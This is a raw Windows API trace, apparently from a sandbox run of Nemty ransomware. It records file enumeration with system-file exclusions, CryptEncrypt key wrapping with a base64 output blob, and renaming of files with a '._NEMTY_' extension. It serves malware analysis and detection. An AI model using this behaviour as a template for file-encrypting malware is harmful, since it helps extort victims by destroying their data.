WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0078.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0078.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94328 [0078.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0078.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0078.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0078.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0078.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0078.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0078.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0078.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0078.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0078.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0078.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0078.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0078.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0078.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0078.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0078.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0078.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0078.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0078.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0078.984] Sleep (dwMilliseconds=0x5) [0078.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe2bb77b0, dwHighDateTime=0x1d561e7)) [0078.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe2bb77b0, dwHighDateTime=0x1d561e7)) [0078.996] GetLastError () returned 0x5 [0078.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0078.996] GetLastError () returned 0x5 [0078.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0078.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0078.996] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0078.996] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0078.997] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0078.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0078.997] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="siZ+r5aBA5xY0l6gbvcrRr6iHrpTXa/nAEk+JnpV2MhE9Znp3CXap2zmY6syE7YH\r\n/MSI02YZXYD8hS/c35i6WyfN4la2V5cRiOBJZc5d3pw/7kTirkrcuv2yc9hvPMuD\r\n1nVsYDNeFPd8ke7w1gackC6PVgdSpPFGhwoIHZt8azS1ZUMSPkB8MFS4cZKUr/Uv\r\n09abaQr/TCJYlhHK4IiVkIZbDdQHkp+yeMROo2BUnOnxYbEdpqYkRpWhS2P4ajfl\r\nTUNx/5+FY+Szp4KEBqcqSRnYrZwE874cOBLoSO3R67+m9839IAhVAAzdFZUv1bAK\r\n0uXUGJVpwS+93MOlnH45qQ==\r\n", pcchString=0x653e91c) returned 1 [0078.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0078.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0078.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0078.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0078.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0078.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0078.997] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.997] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0078.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0078.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.007] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.016] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.016] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.025] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.025] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.035] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.035] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.044] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.044] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.055] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.065] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.065] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.075] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.075] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.084] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.084] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.094] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.094] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.100] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.100] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.106] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.106] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.106] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.106] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0079.106] CloseHandle (hObject=0xffffffff) returned 0 [0079.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0079.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0079.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0079.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0079.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0079.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0079.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0079.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0079.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0079.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0079.106] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0079.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0079.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0079.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0079.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0079.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0079.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0079.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0079.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0079.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0079.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0079.107] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.107] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0079.107] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0079.107] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="...") returned 1 [0079.107] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="windows") returned -1 [0079.107] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0079.107] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="rsa") returned -1 [0079.107] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0079.107] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0079.107] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0079.107] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0079.107] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.107] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.107] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0079.107] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0079.107] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0079.107] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0079.107] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0079.107] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0079.107] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0079.108] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="programdata") returned -1 [0079.108] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="appdata") returned 1 [0079.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0079.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0079.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0079.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0079.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0079.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0079.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0079.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0079.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0079.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0079.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0079.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0079.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0079.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) 